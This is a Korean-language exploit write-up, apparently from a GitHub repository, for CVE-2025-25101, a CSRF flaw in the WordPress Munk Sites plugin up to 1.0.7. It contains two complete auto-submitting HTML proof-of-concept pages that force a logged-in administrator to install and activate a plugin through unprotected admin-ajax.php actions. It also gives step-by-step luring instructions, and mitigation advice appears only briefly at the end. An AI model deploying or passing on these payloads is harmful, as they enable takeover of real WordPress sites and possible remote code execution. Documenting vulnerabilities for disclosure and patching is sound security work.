
WordPress Munk Sites 플러그인 <= 1.0.7 - CSRF를 통한 임의 플러그인 설치 취약점
CVE-2025-25101은 WordPress용 MetricThemes Munk Sites 플러그인(버전 ≤ 1.0.7)에서 발견된 교차 사이트 요청 위조(CSRF) 취약점입니다.
이 취약점은 인증되지 않은 공격자가 관리자를 속여 임의의 플러그인을 설치 및 활성화하도록 하여 원격 코드 실행(RCE) 또는 웹사이트 손상으로 이어질 수 있습니다.
<= 1.0.7플러그인이 활성화된 모든 버전| 점수 | 심각도 | 버전 | 벡터 문자열 |
|---|---|---|---|
| 9.6 | 🔥 치명적 | 3.1 | CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H |
Munk Sites 플러그인의 CSRF 결함으로 인해 공격자가 로그인된 WordPress 관리자로 하여금 동의 없이 임의의 WordPress 플러그인을 설치 및 활성화하도록 강제할 수 있습니다.
이는 CSRF 토큰 검증이 없는 보호되지 않은 admin-ajax.php 요청을 악용하여 수행됩니다.
이 페이로드는 피해자로 하여금 hello-world 플러그인을 설치하도록 강제합니다.
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>CSRF Exploit - Plugin Installation</title>
<style>
body { font-family: Arial, sans-serif; text-align: center; background: #f4f4f4; padding: 20px; }
h1 { color: #d9534f; } h2 { color: #5bc0de; }
.output { margin-top: 20px; padding: 10px; background: white; box-shadow: 0 0 10px rgba(0, 0, 0, 0.1); }
.success { color: #5cb85c; font-weight: bold; }
</style>
</head>
<body onload="document.forms[0].submit()">
<h1>📌 CVE-2025-25101</h1>
<h2>CSRF Exploit - Install 'Hello World' Plugin</h2>
<h3>🚀 Exploit by: <b>Nxploit | Khaled Alenazi</b></h3>
<div class="output" id="output">🔄 Installing plugin...</div>
<form action="http://target.com/wp-admin/admin-ajax.php" method="GET">
<input type="hidden" name="action" value="cs_install_plugin">
<input type="hidden" name="plugin" value="hello-world">
</form>
<script>setTimeout(() => { document.getElementById("output").innerHTML = "<span class='success'>✅ Plugin installed successfully!</span>"; }, 5000);</script>
</body>
</html>
이 페이로드는 피해자로 하여금 hello-world 플러그인을 활성화하도록 강제합니다.
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>CSRF Exploit - Plugin Activation</title>
<style>
body { font-family: Arial, sans-serif; text-align: center; background: #f4f4f4; padding: 20px; }
h1 { color: #d9534f; } h2 { color: #f0ad4e; }
.output { margin-top: 20px; padding: 10px; background: white; box-shadow: 0 0 10px rgba(0, 0, 0, 0.1); }
.success { color: #5cb85c; font-weight: bold; }
</style>
</head>
<body onload="document.forms[0].submit()">
<h1>📌 CVE-2025-25101</h1>
<h2>CSRF Exploit - Activate 'Hello World' Plugin</h2>
<h3>🚀 Exploit by: <b>Nxploit | Khaled Alenazi</b></h3>
<div class="output" id="output">🔄 Activating plugin...</div>
<form action="http://target.com/wp-admin/admin-ajax.php" method="GET">
<input type="hidden" name="action" value="cs_active_plugin">
<input type="hidden" name="plugin" value="hello-world">
</form>
<script>setTimeout(() => { document.getElementById("output").innerHTML = "<span class='success'>✅ Plugin activated successfully!</span>"; }, 5000);</script>
</body>
</html>
install.html 및 activate.html)을 공격자가 제어하는 서버에 호스팅합니다.install.html을 방문하도록 유도합니다.activate.html을 방문하도록 속입니다.hello-world 플러그인이 관리자 동의 없이 설치 및 활성화됩니다!.htaccess 또는 Nginx 설정의 보안 규칙을 사용하여 admin-ajax.php에 대한 액세스를 제한하세요.wp_nonce_field() 및 check_admin_referer()를 사용하여 CSRF 보호를 구현하세요.⚠️ 이 익스플로잇은 교육 및 보안 연구 목적으로만 제공됩니다.
⚠️ 명시적 허가 없이 시스템에 무단 사용하는 것은 불법입니다.
⚠️ 저자는 이 코드의 오용에 대해 책임을 지지 않습니다.
이 연구가 가치 있다고 생각하시면 ⭐ 저장소에 별표를 눌러 주시고 새로운 취약점을 신고하여 기여해 주세요.
제작: Nxploit | Khaled Alenazi